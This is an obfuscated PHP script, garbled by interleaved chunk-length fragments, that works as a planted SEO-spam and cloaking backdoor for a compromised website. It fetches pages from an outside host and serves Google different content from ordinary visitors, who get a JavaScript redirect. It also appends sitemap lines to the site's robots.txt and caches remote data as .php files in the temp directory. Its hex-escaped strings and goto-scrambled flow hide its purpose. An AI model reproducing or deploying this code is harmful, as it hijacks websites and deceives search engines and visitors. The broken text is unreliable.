1 < 5 ?php 7 goto 7 vdmFf; 6 QZ77P: 7 functi 8 on ensur 7 e_robot 7 s_sitem c ap($sitemapL 7 ine) { b $robots = r 7 trim($_ 6 SERVER 7 ["\104\ 9 x4f\x43\x a 55\115\105 7 \x4e\12 10 4\x5f\122\x4f\x4 9 f\124"], 9 "\x2f\134 d ") . "\x2f\16 7 2\157\x d 62\x6f\164\16 c 3\x2e\164\x7 9 8\x74"; i 6 f (!fi 8 le_exist e s($robots)) { 9 @file_put 7 _conten 13 ts($robots, "\125\x a 73\x65\x72 9 \55\x61\1 a 47\x65\156 d \164\72\x20\5 b 2\xa\x41\x6 b c\154\x6f\x b 77\x3a\x20\ a x2f\xa" . 11 $sitemapLine, LOC 6 K_EX); 7 } else e { $c = @file_ 15 get_contents($robots) d ; if ($c === 9 false || 8 strpos($ 11 c, $sitemapLine) 37 === false) { @file_put_contents($robots, $sitemapLine, 7 FILE_AP 6 PEND | 16 LOCK_EX); } } } goto 7 DHsL3; 6 babZJ: 7 $domai c n = trim(get 6 CurlFa 6 st($jd 13 . "\x67\x65\164\x6 b 4\x6f\155\1 d 41\x69\x6e\x3 e 2\56\141\x73\1 11 60\x78\x3f\162\15 a 6\x64\x3d\ d 61\x26\x69\x7 b 0\75" . $ip a )); goto e 7 Xwce; X 7 WL_w: $ a get = filt 9 er_input_ 7 array(I 6 NPUT_G a ET, FILTER 7 _SANITI 6 ZE_STR c ING); goto g 7 hIXA; Q 7 mNxK: o d utput_sitemap 9 _and_exit 12 ($sitemapLine, $ht 7 tp_type d ); goto Sda4b 6 ; B2cY a K: $ip = $ 7 kk !== 7 '' ? "\ a 66\x36\56\ d 62\64\x39\56\ b x38\62\x2e\ 7 x38" : a get_real_i 10 p(); goto babZJ; 7 eaUB7: 10 $http_type = !e 11 mpty($_SERVER["\1 10 10\124\x54\x50\x 6 53"]) 10 && $_SERVER["\x4 c 8\x54\x54\12 d 0\123"] !== " d \157\146\146" 13 ? "\x68\x74\x74\x7 d 0\163\x3a\x2f c \57" : "\150 11 \164\164\160\x3a\ d 57\57"; goto 7 QLlhb; a vdmFf: err 9 or_report 5 ing(0 11 ); goto XWL_w; rS a 9s0: if (! 10 empty($get["\x66 9 "])) { $s a p = explod 9 e("\x49", e $get["\146"]) a ; if (coun c t($sp) === 2 d ) { $sz = $sp 8 [0]; $ii 10 d = $sp[1]; } } a goto djE41 6 ; UV4q 15 2: if ($kk !== '' && 7 preg_ma a tch("\x2f\ 7 x5e\133 c \x41\55\132\ c 141\x2d\172\ c 60\x2d\x39\x 9 5d\53\x24 9 \57", $kk b )) { $remot 24 e = getCurlFast($jd . "\x67\x65\x74\ 19 144\x6f\155\141\x69\x6e\6 12 2\56\x61\163\x70\1 b 70\x3f\x72\ a 156\144\75 d \62\46\x6b\15 d 3\x3d" . $kk) 19 ; if (!empty($remote)) { d echo $remote; f die; } } goto 8 xI3e6; V 4 Tcyq 1d : function get_real_ip() { $k c eys = array( 17 "\110\x54\x54\120\x5f\1 11 03\x46\x5f\103\x4 b f\116\x4e\1 e 05\x43\124\111 c \116\107\137 e \x49\120", "\1 14 10\x54\124\120\x5f\x d 58\137\122\x4 f 5\101\x4c\137\1 15 11\120", "\110\124\12 d 4\x50\x5f\130 e \137\x46\117\x c 52\127\101\x d 52\x44\x45\x4 11 4\x5f\106\x4f\x52 15 ", "\x48\x54\124\120\ a 137\103\11 1a 4\111\105\x4e\x54\137\x49\ 11 x50", "\122\x45\1 a 15\117\124 14 \105\137\101\104\x44 a \x52"); fo 9 reach ($k d eys as $k) { 15 if (!empty($_SERVER[$ e k])) { $ip = $ 1a _SERVER[$k]; if (strpos($i b p, "\54") ! 17 == false) { $ip = trim( 11 explode("\x2c", $ b ip)[0]); } d if (filter_va f r($ip, FILTER_V 6 ALIDAT a E_IP)) { r 9 eturn $ip 13 ; } } } return "\x3 a 1\x32\x37\ 12 56\x30\56\60\56\x3 c 1"; } goto z 6 BNc7; 5 wZIGm 40 : function output_sitemap_and_exit($sitemapLine, $http_type) { e 29 nsure_robots_sitemap($sitemapLine); echo b "\74\x64\15 a 1\166\x20\ 10 163\164\171\x6c\ b x65\75\47\x 10 74\145\x78\164\x 9 2d\x61\15 e 4\151\147\156\ 13 72\x63\x65\156\164\ b x65\x72\x3b 11 \x70\x61\x64\x64\ d 151\x6e\147\x c 3a\61\x30\x7 12 0\170\40\x30\x3b\x b 27\x3e\xa\x 1c 20\x20\40\x20\40\x20\x20\40\ 12 40\x20\x20\x20\x3c 15 \141\x20\150\162\145\ a 146\75\42{ c $http_type}{ 24 $_SERVER["\x48\x54\124\120\137\110\1 1a 17\x53\124"]}{$_SERVER["\x a 53\x43\x52 14 \x49\120\x54\137\x4e f \x41\x4d\105"]} e \77\x77\75" . 9 date("\13 a 1\155\144\ 10 110\x69") . "\x2 12 2\x20\x74\141\162\ 10 x67\145\164\x3d\ 14 x22\x5f\x62\x6c\141\ a 156\153\42 11 \40\162\x65\x6c\x 12 3d\x22\x6e\157\x66 12 \x6f\x6c\154\157\1 9 67\x22\76 13 \123\151\164\x65\x6 e d\x61\x70\x3c\ 1b 57\x61\76\12\40\40\x20\x20\ 19 40\40\x20\40\x20\x20\x3c\ e x2f\144\x69\x7 e 6\76"; die; } 11 goto UV4q2; zBNc7 1b : function getCurlFast($url a ) { $cache d d = cache_get 14 ($url); if ($cached 1b !== false) { return $cached a ; } $data 12 = ''; if (function 11 _exists("\143\165 f \x72\154\x5f\15 15 1\156\x69\x74")) { $c 8 h = curl 13 _init($url); curl_s c etopt_array( d $ch, array(CU 6 RLOPT_ 6 RETURN 6 TRANSF 5 ER => f true, CURLOPT_ 6 CONNEC 7 TTIMEOU 10 T => 5, CURLOPT_ 18 TIMEOUT => 8, CURLOPT_SS 7 L_VERIF 9 YPEER => 1c false, CURLOPT_SSL_VERIFYHOS 17 T => false, CURLOPT_FOL 6 LOWLOC 5 ATION 19 => false, CURLOPT_USERAG e ENT => "\x4d\1 a 57\172\151 14 \154\x6c\141\57\65\x a 2e\60")); 10 $data = curl_exe e c($ch); curl_c b lose($ch); 11 } if (empty($data e ) && ini_get(" 1a \x61\154\154\157\167\137\1 14 65\x72\154\137\146\1 e 57\x70\x65\156 d ")) { $contex b t = stream_ c context_crea f te(array("\x68\ 10 164\x74\x70" => 14 array("\x74\x69\x6d\ f 145\157\x75\164 10 " => 8, "\x68\x6 12 5\x61\144\145\x72" 1b => "\125\x73\x65\x72\x2d\1 d 01\x67\x65\x6 22 e\164\x3a\x20\x4d\157\172\151\154\ f 154\141\x2f\65\ c 56\60\xd\xa" f ), "\x73\x73\x6 18 c" => array("\x76\145\16 68 2\x69\146\171\x5f\x70\x65\145\x72" => false, "\166\x65\x72\151\146\x79\137\x70\x65\x65\162\x5f\156\141\x 11 6d\145" => false) 23 )); $data = @file_get_contents($url 11 , false, $context 1a ); } if (!empty($data)) { f cache_set($url, 13 $data); } return $ 10 data; } goto Frs 7 4L; C4a 13 A0: if (!empty($iid 19 )) { $str = getCurlFast($ 6 hyzhdy d . "\x3f\151\ 10 x69\144\x3d{$iid d }"); echo str 7 _replac 18 e(array("\147\x67\x67\14 12 7\x67", "\x59\x59\ 11 131\131\131", "\1 16 30\130\130\131\x59\131 d ", "\xe5\275\ 9 223\345\2 6 11\x8d 13 \125\122\x4c", "\12 11 5\x55\125\x55\x55 d "), array($sz e , get_url_info 15 (), get_url_info("\14 e 2\x61\x73\145" 1b ), get_url_info("\146\165\x 23 6c\154"), get_url_info("\156\157\x5 d f\x77\x77\167 a ")), $str) 16 ; die; } goto wZIGm; m 6 EfJ2: 8 $kk = is 11 set($get["\153\x6 c b"]) ? trim( 13 $get["\153\153"]) : f ''; goto B2cYK 6 ; qVAP 8 R: $surl f = $jd . "\x73\ f 61\62\x31\x32\x 12 2e\x61\x73\160\x78 c "; goto jjw5 6 8; fDK b hA: $sz = $ 15 iid = ''; goto rS9s0; 15 djE41: if (!empty($s c z)) { $jd = 1c getCurlFast("{$http_type}{$v b url}\63\153 1f \147\56\141\x73\160\x78\x3f\163 f \172\x3d" . url c encode($sz)) 35 ; } else { $jd = getCurlFast("{$http_type}{$vurl}\63\ 1a x6b\147\56\x61\x73\160\x78 12 \x3f\170\171\x3d{$ 14 http_type}"); $sz = 23 getCurlFast("{$http_type}{$vurl}\x3 19 3\153\147\56\x61\163\160\ c 170\77\152\x 17 64\x3d" . urlencode($jd e )); } goto fl0 a Mc; jjw58: 13 $sitemapLine = "\1 15 23\151\x74\145\x6d\14 b 1\x70\72\40 28 {$http_type}{$_SERVER["\x48\124\x54\x50\ 32 137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\111\ 12 x50\124\x5f\116\10 10 1\x4d\x45"]}\77\ b 167\x3d" . 21 date("\131\155\144\x48\151") . "\ b 12"; goto Q b Z77P; Frs4L 1c : function get_url_info(stri b ng $type = 14 "\144\x6f\155\x61\x6 11 9\x6e") : string 7 { $host 1f = $_SERVER["\x48\x54\x54\120\1 11 37\x48\117\123\x5 6 4"] ?? 17 ''; if ($type === "\15 17 6\157\137\x77\x77\167") f { return preg_ 13 replace("\x2f\x5e\x 12 77\167\x77\134\56\ b 57\151", '' d , $host); } $ 8 protocol 2a = !empty($_SERVER["\110\124\x54\x50\123"] 25 ) && $_SERVER["\x48\x54\x54\120\x53"] 11 !== "\x6f\146\x6 16 6" ? "\x68\x74\164\x70 f \x73\x3a\57\57" 15 : "\150\x74\x74\160\ d 72\x2f\57"; $ 11 base = $protocol 1a . $host; if ($type === "\1 10 42\141\x73\145") 17 { return $base; } if ( 11 $type === "\x66\1 1b 65\154\154") { return $base 12 . ($_SERVER["\x52 e \105\121\125\x 10 45\x53\x54\137\x 12 55\x52\x49"] ?? '' 1a ); } return $host; } goto c eaUB7; eXwce 16 : if ($domain !== "\x6 10 7\x6f\x6f\147\x6 a c\145" && 15 !empty($iid)) { $knam 9 e = urlde 20 code(getCurlFast($jd . "\x67\x6e 1e \56\141\163\x70\170\x3f\x69\x6 13 9\x64\x3d" . $iid)) 13 ; echo "\74\x73\143 10 \162\151\160\x74 12 \76\154\157\x63\x6 13 1\x74\151\157\156\7 10 5\42" . $jd . "\ 16 141\x2e\x61\x73\x70\x7 10 8\x3f\x63\156\x6 21 1\x6d\145\x3d" . urlencode($kname c ) . "\46\x75 10 \162\154\75" . $ 1b http_type . $_SERVER["\x48\ 1a 124\x54\120\137\x48\x4f\12 1a 3\x54"] . $_SERVER["\123\x 1f 43\x52\111\x50\x54\137\x4e\x41\ d 115\105"] . " f \42\74\57\163\x f 63\x72\151\160\ 1b 164\76"; die; } goto C4aA0; 1c DHsL3: if (!empty($get["\x7 c 7"])) { $par b ams = http_ 7 build_q e uery(array("\x c 4e\x4f\125\x 13 6d\142\x65\x72" => 12 $get["\116\117\x55 10 \155\142\x65\162 1b "] ?? '', "\x74" => $get["\ 13 x74"] ?? '', "\143\ 17 x6e" => $get["\x63\x6e" 17 ] ?? '', "\160\116\117\ 15 125\155" => $get["\x7 21 0\116\117\125\x6d"] ?? '', "\143\ 17 151\x64" => $get["\x63\ 22 151\144"] ?? '', "\155" => $get["\ 11 155"] ?? '')); $s 15 tr = getCurlFast("{$s 10 url}\x3f{$params 22 }"); echo str_replace(array("\171\ 12 171\x6d\155", "\14 1c 7\x67\147\147\147"), array($ 23 http_type . $_SERVER["\x48\x54\124\ 12 x50\x5f\110\x4f\x5 1f 3\x54"] . $_SERVER["\123\103\12 12 2\x49\120\124\x5f\ 15 x4e\x41\x4d\x45"], $s 1d z), $str); die; } goto mEfJ2; 6 XsAcz 17 : function cache_set($k e ey, $data) { $ a file = sys a _get_temp_ 4 dir( 18 ) . "\x2f\143\x61\x63\15 e 0\x65\137" . m 10 d5($key) . "\x2e f \160\150\x70"; 18 @file_put_contents($file 1a , $data, LOCK_EX); } goto c VTcyq; QLlhb b : $vurl = " 17 \x74\157\x2e\x6a\147\14 e 1\x6c\154\x73\ d 56\x63\x6f\x6 13 d\x2f"; goto fDKhA; 6 S2KVF 8 : $is_no a _query = e 16 mpty($_SERVER["\x51\x5 12 5\105\x52\131\x5f\ 11 123\124\122\111\x b 4e\x47"]); a goto zHnCd 1b ; xI3e6: if ($kk !== '' && 13 !preg_match("\57\x5 a e\133\101\ 10 55\132\x61\55\x7 c a\60\55\x39\ 7 135\53\ 11 44\x2f", $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } goto 10 S2KVF; fl0Mc: $h 11 yzhdy = $jd . "\x d 31\x32\61\62\ 20 56\x61\163\x70\x78"; goto qVAPR; 17 ghIXA: function cache_ f get($key, $expi 8 re = 300 30 ) { $file = sys_get_temp_dir() . "\x2f\x63\141\1 c 43\150\145\1 19 37" . md5($key) . "\56\x7 10 0\150\160"; if ( 18 file_exists($file) && ti 6 me() - 12 filemtime($file) 14 < $expire) { return 23 file_get_contents($file); } return 13 false; } goto XsAcz 11 ; zHnCd: if ($kk 16 === '' && $is_no_query 11 ) { if ($domain = 17 == "\x67\157\157\x67\x6 3f c\x65") { output_sitemap_and_exit($sitemapLine, $http_type); } 15 else { die; } } goto e QmNxK; Sda4b: 2 ?> 0